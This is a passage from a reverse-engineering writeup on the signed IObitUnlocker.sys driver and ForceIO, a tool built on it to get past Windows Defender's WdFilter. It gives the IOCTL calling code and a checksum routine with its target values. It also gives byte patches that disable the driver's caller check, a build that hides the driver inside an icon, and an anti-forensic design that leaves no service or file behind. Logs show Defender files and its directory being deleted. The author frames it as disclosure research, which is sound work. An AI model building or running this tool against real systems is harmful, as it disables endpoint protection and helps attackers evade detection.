10. Phase 8 — ForceIO: The Standalone Tool

sequenceDiagram participant U as ForceIO.exe participant S as SCM (services.exe) participant D as IObitUnlocker.sys participant FS as NTFS Note over U: Atomic Driver Session U->>U: FDI decompress CAB from icon resource U->>U: Write forceio.dat to %SystemRoot% U->>S: CreateServiceW("IObitUnlocker") S-->>U: service handle U->>S: StartServiceW S->>D: DriverEntry → IoCreateDevice D-->>S: STATUS_SUCCESS U->>D: CreateFileW("\\.\IObitUnlockerDevice") D-->>U: device handle U->>D: DeviceIoControl(0x222124, buffer) D->>D: Validate caller checksums D->>FS: ZwCreateFile(DELETE) + ZwSetInformationFile FS-->>D: STATUS_SUCCESS D-->>U: result = 0 U->>D: CloseHandle U->>S: ControlService(STOP) S->>D: DriverUnload U->>S: DeleteService U->>U: DeleteFileW(forceio.dat) Note over U: No registry residue, no driver on disk

10.1 Design principles

  • No CRT. Compiled with /NODEFAULTLIB, /ENTRY:Entry, /GS-. Only kernel32.dll, advapi32.dll, and cabinet.dll are imported.
  • No IObit code. ForceIO does not load, reference, or depend on any IObit binary.
  • Direct IOCTL. Constructs the 0x428-byte buffer in-process and calls DeviceIoControl directly.
  • LZX-compressed payload. The driver binary is LZX-compressed into a CAB archive and appended to the application icon at build time. At runtime, FDI decompresses the CAB in memory and writes forceio.dat to %SystemRoot%. The icon remains valid for Explorer — the appended CAB data is invisible to the icon parser.
  • Atomic driver sessions. Each file operation runs a complete SCM lifecycle: create service → start → open device → execute → close device → stop service → delete service → remove driver file. The service exists in the registry only for the duration of the IOCTL — never between operations. Zero Sleep calls — ControlService(STOP) on kernel drivers is synchronous.
  • No registry residue. The SCM service name IObitUnlocker and ImagePath = forceio.dat are created and destroyed within a single atomic session. Post-operation, sc query IObitUnlocker returns ERROR_SERVICE_DOES_NOT_EXIST and %SystemRoot%\forceio.dat does not exist on disk.

10.2 Why x86 (PE32)?

The driver is x64 (PE64). ForceIO is compiled as x86 (PE32). This works because:

  1. METHOD_BUFFERED is bitness-transparent. The I/O Manager allocates the system buffer in kernel space, copies the user buffer byte-for-byte, and passes it to the driver. No pointer reinterpretation occurs.
  2. ULK_BUFFER contains no pointers. All fields are WCHAR arrays and ULONG values — fixed-size, architecture-independent. There is no alignment or padding difference between 32-bit and 64-bit representations.
  3. The driver's checksum validation is bitness-agnostic. ZwQueryInformationProcess(ProcessImageFileName) returns the real image path regardless of WOW64 — the driver reads and checksums the actual PE32 file on disk.

The x86 choice provides smaller binary size, no 64-bit CRT dependency to avoid, and confirms that the entire protocol is bitness-independent.

10.3 Core implementation

The heart of ForceIO is a single function:

static DWORD SendOperation(HANDLE hDev, const wchar_t* src,
                           const wchar_t* dst, ULONG op) {
    ULK_BUFFER buf;
    memset(&buf, 0, sizeof(buf));

    wcopy_safe(buf.SourcePath, src, 264);

    if (dst && dst[0])
        wcopy_safe(buf.DestPath, dst, 264);

    buf.OpType = op;
    buf.Flags  = 3;              // match original DLL behaviour

    ULONG out = 0;
    DWORD ret = 0;
    SetLastError(0);
    DeviceIoControl(hDev, 0x222124, &buf, 0x428, &out, 4, &ret, NULL);
    return GetLastError();
}

The high-level rename command intentionally uses three attempts:

  1. OperationType=2 raw rename.
  2. MoveFileExW(..., MOVEFILE_COPY_ALLOWED | MOVEFILE_WRITE_THROUGH) for ordinary filesystem cases.
  3. OperationType=3 driver-side move/cut for locked or minifilter-protected targets.

The copy command uses OperationType=4, not 3, so the source remains in place.

10.4 Usage

ForceIO — minifilter-bypass file operations via signed driver
© WESMAR Marek Wesołowski

Usage: ForceIO <command> <path> [dest]

Commands:
  delete <path>       Force-delete file (bypasses WdFilter)
  rename <src> <dst>  Force-rename/move file
  copy   <src> <dst>  Copy locked file
  start               Load driver only
  stop                Unload driver
  cleanup             Stop driver, remove service, delete temp files

10.5 Live operation — WdFilter bypass

PS> Remove-Item "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64" -Force
Remove-Item: Access to the path is denied.

PS> .\ForceIO.exe delete "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64"
[*] DELETE: C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64
[+] Success.

PS> Test-Path "C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64"
False

Remove-Item with -Force fails with Access denied — WdFilter blocks the I/O request.
ForceIO deletes the file successfully — the IOCTL routes below the Filter Manager.

10.6 Directory move — protected Defender tree

After correcting OperationType=3, a protected Defender directory can be moved and then deleted:

C:\Projekty\ForceIO\bin>ForceIO.exe rename "c:\ProgramData\Microsoft\Windows Defender\" "c:\ProgramData\Microsoft\Windows Defender_\"
[*] RENAME: c:\ProgramData\Microsoft\Windows Defender -> c:\ProgramData\Microsoft\Windows Defender_
[+] Success.

C:\Projekty\ForceIO\bin>ForceIO.exe delete "c:\ProgramData\Microsoft\Windows Defender_"
[*] DELETE: c:\ProgramData\Microsoft\Windows Defender_
[+] Success.

This was the practical confirmation that the driver-side move/cut path matters. The earlier fallback (copy then delete) failed on this class of target with ERROR_DIR_NOT_EMPTY (145).


11. Driver Internal Architecture

11.1 Device and symbolic link

Element Value
Device Object \Device\IObitUnlockerDevice
Symbolic Link \DosDevices\IObitUnlockerDevice
Win32 path \\.\IObitUnlockerDevice
Device type 0x0001 (non-standard — not FILE_DEVICE_UNKNOWN = 0x22)

11.2 DriverEntry flow (+0x10D4)

  1. Call +0xA008 (runtime init — likely GSCookie or CRT fragment).
  2. IoCreateDevice with device name \Device\IObitUnlockerDevice, type 0x0001.
  3. IoCreateSymbolicLink from \DosDevices\IObitUnlockerDevice to the device.
  4. Set DriverObject->Flags |= DO_DIRECT_IO (bit 4 at +0x30).
  5. Clear DO_EXCLUSIVE flag (bit 7 at +0x30).
  6. Set dispatch table: IRP_MJ_CREATE = IRP_MJ_CLOSE = +0x128C, IRP_MJ_DEVICE_CONTROL = +0x12B4.
  7. Initialize log file UNICODE_STRING (\Device\HarddiskVolume1\unlocker.log).
  8. Resolve ZwQueryInformationProcess via MmGetSystemRoutineAddress → store at +0x8150.
  9. Store two hardcoded constants at +0x8160 and +0x8158 (purpose unknown — possibly version markers).
  10. Call +0x3FA8 (logging initialization).

11.3 Win32 path resolution

The driver resolves drive letters internally:

ZwOpenSymbolicLinkObject(&hLink, SYMBOLIC_LINK_QUERY,
    &oa{L"\\DosDevices\\C:"});
ZwQuerySymbolicLinkObject(hLink, &targetPath, NULL);
// targetPath = L"\\Device\\HarddiskVolume3"

This means the usermode caller can pass standard Win32 paths (e.g., C:\Windows\file.txt) — the driver converts them to NT paths before performing I/O.

11.4 Delete algorithm

1. (Optional) Kill/detach processes holding handles:
   ZwOpenProcess → ZwDuplicateObject(DUPLICATE_CLOSE_SOURCE)
   or ZwTerminateProcess if force-kill flag is set

2. Resolve Win32 → NT path:
   "C:\folder\file" → "\Device\HarddiskVolume3\folder\file"

3. Open with DELETE access:
   ZwCreateFile(DELETE | SYNCHRONIZE, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                FILE_OPEN, FILE_SHARE_DELETE | READ | WRITE,
                FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT)

4. If SHARING_VIOLATION → KeDelayExecutionThread + retry

5. Set disposition:
   ZwSetInformationFile(hFile, FileDispositionInformation, {DeleteFile = TRUE})

6. Close handle → file is deleted

11.5 Move and copy algorithms

The final operation map matters more than the names assigned during early reverse engineering:

OperationType ForceIO command Driver behaviour
1 delete Delete source path
2 first rename attempt Raw FILE_RENAME_INFORMATION IRP; unreliable for ordinary destination paths
3 rename / move fallback Copy data, then delete source
4 copy Copy data, leave source intact

For directories, the driver performs recursion internally with ZwQueryDirectoryFile. This is why OperationType=3 succeeds where a user-mode FindFirstFileW + per-file copy/delete fallback can miss protected children and end with ERROR_DIR_NOT_EMPTY.

11.6 Protected process list

The driver refuses to terminate these processes (checked via PsGetProcessPeb + _wcsicmp):

System
System Idle Process
csrss.exe
lsass.exe
lsm.exe
smss.exe
wininit.exe
winlogon.exe
userinit.exe
explorer.exe
IObitUnlocker.exe

12. The Checksum Validation in Detail

12.1 Location

The validation spans three functions:

Function Offset Role
+0x3CB0 Validation entry IoGetCurrentProcess, build image name, call helpers
+0x3A14 Process query ZwQueryInformationProcess(ProcessImageFileName=27)
+0x3AF0 File checksum ZwCreateFile, ZwReadFile, compute XOR/ALT, compare

12.2 Why this validation exists

IObit designed this check to prevent third-party tools from using their driver as a BYOVD weapon. The checksums match only the original IObitUnlocker.exe binary, so an attacker who downloads the driver cannot simply call its IOCTLs from arbitrary code.

The protection is naive — the checksums are trivially reversible, and the comparison values are hardcoded in the driver binary (not derived from a signature or certificate). But it is sufficient to block casual misuse and automated BYOVD (or BYOPD) frameworks that do not perform driver-specific analysis.

12.3 Alternative bypass: patching the driver

Instead of fixing the caller's checksums, one could NOP the two jne instructions at +0x3DCC and +0x3DD6:

+0x3DCC: 75 0E  →  90 90   (NOP the XOR check branch)
+0x3DD6: 75 04  →  90 90   (NOP the ALT check branch)

This 4-byte patch disables validation entirely. However, it invalidates the driver's Microsoft WHCP Authenticode signature, which means the driver will not load on systems with Driver Signature Enforcement enabled (the default). The checksum-padding approach preserves the driver signature.


13. Project Structure

C:\Projekty\ForceIO\
├── IcoBuilder\
│   ├── kvc.ico              Base application icon (9,662 bytes)
│   └── forceio.dat          Signed driver binary (IObitUnlocker.sys, untouched)
├── ICON\
│   └── kvc.ico              Combined icon + LZX-CAB payload (built by build.ps1)
├── src\
│   ├── main.c               Entry point, CLI parser, command dispatch
│   ├── DeviceIO.c/.h        IOCTL protocol and file operations
│   ├── DriverSession.c/.h   Atomic driver lifecycle (Begin/End sessions)
│   ├── DriverExtract.c/.h   FDI in-memory decompression from icon+CAB resource
│   ├── Console.c/.h         No-CRT console output
│   ├── GenIconSize.h        Auto-generated icon header size (build.ps1)
│   ├── Resource.h           Resource identifiers
│   ├── ForceIO.rc           Icon and embedded payload resource (dual reference)
│   ├── ForceIO.manifest     UAC elevation manifest
│   └── ForceIO.vcxproj      Visual Studio project, Win32 Release
├── build.ps1                LZX compress + icon assembly + MSBuild + checksum patch
└── bin\
    └── ForceIO.exe          Patched binary (checksums matched)

13.1 Building

cd C:\Projekty\ForceIO
.\build.ps1

The script:

  1. Resolves MSBuild from Visual Studio 2026.
  2. LZX-compresses IcoBuilder\forceio.dat via makecab into a CAB archive.
  3. Appends the CAB to IcoBuilder\kvc.ico, writes the combined blob to ICON\kvc.ico.
  4. Generates src\GenIconSize.h with the icon header byte count (FDI seek offset).
  5. Builds src\ForceIO.vcxproj as Release|Win32.
  6. Verifies imports are limited to KERNEL32.dll, ADVAPI32.dll, and CABINET.dll.
  7. Reads the compiled PE, computes current checksums.
  8. Calculates and appends correction bytes.
  9. Verifies the patched binary matches XOR=0x2B, ALT=0x00A88677.
  10. Sets deterministic timestamps (2030-01-01).

13.2 Runtime requirements

  • Windows 10 or 11 (x64)
  • Administrator privileges (SCM service creation requires elevation)
  • Driver binary embedded as LZX-compressed CAB inside the application icon resource
  • Driver Signature Enforcement enabled (the driver is genuinely signed)
  • cabinet.dll (present on all supported Windows versions)

14. Security Considerations

14.1 Detection surface

The driver creates a visible device object (\Device\IObitUnlockerDevice) during operation. The SCM service entry (IObitUnlocker) is ephemeral — it exists only for the duration of a single file operation and is deleted immediately after the IOCTL completes. The driver file (%SystemRoot%\forceio.dat) is likewise removed after each operation. The driver log at %SystemRoot%\unlocker.log records every operation with NTSTATUS codes and NT paths.

EDR solutions that monitor driver loads or device object creation can detect ForceIO's activity, but post-operation forensics will find no persistent service entry, no driver file on disk, and no registry artifact. The only durable trace is the driver log file (created by the driver itself, not by ForceIO).

14.2 Blocklist status

As of June 2026, IObitUnlocker.sys does not appear on the Microsoft Vulnerable Driver Blocklist or in the LOLDrivers database. The driver loads and operates normally on systems with HVCI and Driver Signature Enforcement enabled. If Microsoft adds this driver to the blocklist in the future, ForceIO will cease to function on hardened systems without disabling that protection.

14.3 Driver distribution

ForceIO embeds IObitUnlocker.sys (renamed to forceio.dat) as an LZX-compressed CAB payload inside the application icon resource during the local build. For public distribution, the safer model is to publish source code and build tooling, and require the user to place a legally obtained copy of the driver in IcoBuilder\forceio.dat. The driver binary is not modified — preserving the WHCP signature is the point of the design.

14.4 Purpose

This research is published to:

  1. Document the driver's undisclosed caller validation mechanism (§7, §12).
  2. Demonstrate that checksum-based anti-abuse protection is insufficient against motivated analysis.
  3. Provide a reference for researchers studying minifilter bypass techniques and overpowered signed driver abuse.
  4. Encourage Microsoft to review WHCP-signed drivers with excessively broad kernel primitives — particularly drivers that expose file deletion, process termination, and handle manipulation through weakly guarded IOCTLs.

A stronger anti-abuse design for IObit would verify the caller via Authenticode signature validation or a kernel callback (PsSetCreateProcessNotifyRoutine) rather than trivially reversible checksums.


15. Appendix A — Complete IAT Reconstruction

The PE Import Directory is at RVA 0xA084. Single import from ntoskrnl.exe. The Import Lookup Table starts at 0xA0B0 with 56 entries (null-terminated). Each entry's Hint/Name RVA was resolved via CDB:

cdb -z IObitUnlocker.sys -c "da IObitUnlocker+<rva+2>; q"

All 56 function names are listed in §4.1.


16. Appendix B — Checksum Computation Reference

def compute_iobit_checksums(filepath):
    """
    Compute the two checksums that IObitUnlocker.sys uses for caller validation.
    The driver code is at IObitUnlocker.sys+0x3C33 (XOR) and +0x3C53 (ALT).
    """
    with open(filepath, 'rb') as f:
        data = f.read()

    xor_sum = 0
    alt_sum = 0
    for i, byte in enumerate(data):
        xor_sum ^= byte
        if i % 2 == 0:
            alt_sum += byte    # even-indexed bytes: add
        else:
            alt_sum -= byte    # odd-indexed bytes: subtract

    return xor_sum & 0xFF, alt_sum & 0xFFFFFFFF

# Expected values (from IObitUnlocker.sys+0x3DC7):
# XOR == 0x2B
# ALT == 0x00A88677

17. Appendix C — ForceIO Source Code

The complete source is split across six modules (see §13):

Module Responsibility
main.c Entry point, CLI parser, command dispatch
DriverSession.c/.h Atomic SCM lifecycle (Begin/End), manual start/stop/cleanup
DriverExtract.c/.h FDI in-memory decompression from icon+CAB resource
DeviceIO.c/.h IOCTL protocol, recursive delete/copy
Console.c/.h No-CRT console output
GenIconSize.h Auto-generated icon header byte count (CAB offset)

Key design decisions:

  1. No CRT dependency. memset and memcpy are provided as #pragma function overrides in DeviceIO.c and DriverExtract.c respectively. String operations use manual implementations (wlen, wcopy_safe, weq). Console output uses WriteFile with WideCharToMultiByte(CP_UTF8) for pipe/redirect compatibility.

  2. LZX-compressed payload. The build pipeline compresses the driver with makecab (LZX, 21-bit window) and appends the CAB to the application icon. The combined blob is referenced in ForceIO.rc twice: as ICON (Explorer glyph) and as RCDATA (FDI source). At runtime, DriverExtract_Deploy locates the resource, skips ICON_HEADER_SIZE bytes, and feeds the trailing CAB to FDI via memory-only callbacks. The decompressed bytes are written to %SystemRoot%\forceio.dat. Compression ratio: ~50% (41 KB → 20 KB CAB).

  3. Atomic driver sessions. DriverSession_Begin performs pre-cleanup (stop + delete any leftover service), FDI extraction, CreateServiceW with ImagePath = forceio.dat (OS resolves to %SystemRoot%), StartServiceW, and DeviceIO_Open. DriverSession_End closes the device handle, stops the service, deletes it from SCM, and removes the driver file. The entire lifecycle uses pure SCM API — zero Sleep calls. ControlService(STOP) on kernel drivers is synchronous.

  4. Single IOCTL round-trip per primitive. One CreateFileW opens \\.\IObitUnlockerDevice, one DeviceIoControl performs the selected operation, then CloseHandle. For batch operations (recursive directory delete/copy), the device handle remains open across all IOCTLs within a single atomic session.


18. Appendix D — Timeline

Date Event
2026-06-24 08:00 Initial analysis document (IObitUnlocker_RE_analiza.md) prepared
2026-06-24 09:30 DLL disassembly completed, buffer layout corrected
2026-06-24 10:00 First Python IOCTL test → ERROR 87
2026-06-24 11:00 NtDeviceIoControlFile confirms STATUS_INVALID_PARAMETER for all buffer variations
2026-06-24 12:00 CDB driver disassembly: validation function at +0x3CB0 identified
2026-06-24 13:00 PE Import Table fully reconstructed (56 functions)
2026-06-24 14:00 Validation function traced: IoGetCurrentProcess → ZwQueryInformationProcess → ZwCreateFile → ZwReadFile
2026-06-24 14:30 Checksum comparison found at +0x3DC7: 0x2B and 0x00A88677
2026-06-24 15:00 Compiled 32-bit ulk_client.exe + checksum padding → first successful IOCTL
2026-06-24 15:15 Unknown.Log deleted (WdFilter bypass confirmed)
2026-06-24 16:00 ForceIO standalone tool compiled (/NODEFAULTLIB, no IObit dependency)
2026-06-24 16:30 DefenderEcsCache.bin64 deleted (second WdFilter-protected target)
2026-06-25 00:30 OperationType=3/4 corrected: 3 = move/cut, 4 = copy
2026-06-25 00:45 Protected Windows Defender directory moved and deleted through ForceIO
2026-06-25 01:00 Documentation (initial writeup)
2026-06-25 08:00 Driver binary renamed to ForceIO.dat, ImagePath simplified to bare filename
2026-06-25 08:30 FDI pipeline: driver LZX-compressed into CAB, appended to icon, decompressed at runtime via Cabinet API
2026-06-25 09:00 DriverSession.c replaces DriverLoader.c — atomic SCM lifecycle (create → start → use → stop → delete)
2026-06-25 09:15 All Sleep calls removed — pure synchronous API, kernel driver stop is synchronous
2026-06-25 09:30 26-test integration suite: delete/rename/copy (single, directory, nested, stress ×10), atomic cleanup verified

19. References

  1. MITRE ATT&CK — T1068 (Exploitation for Privilege Escalation), T1543.003 (Create or Modify System Process: Windows Service)
  2. Microsoft WHCP — Windows Hardware Compatibility Program driver signing
  3. WdFilter.sys — Windows Defender minifilter driver (altitude ~328000)
  4. Filter ManagerFltMgr.sys, Microsoft filesystem filter architecture
  5. IObit Unlockerhttps://www.iobit.com/en/iobit-unlocker.php (freeware)
  6. MyDigitalLife Forums — CMDT thread: https://forums.mydigitallife.net/threads/90096/page-4
  7. KVChttps://github.com/wesmar/kvc (some of my original manipulation techniques)

© 2026 WESMAR Marek Wesołowski. All rights reserved.
Published for educational and authorized security research purposes.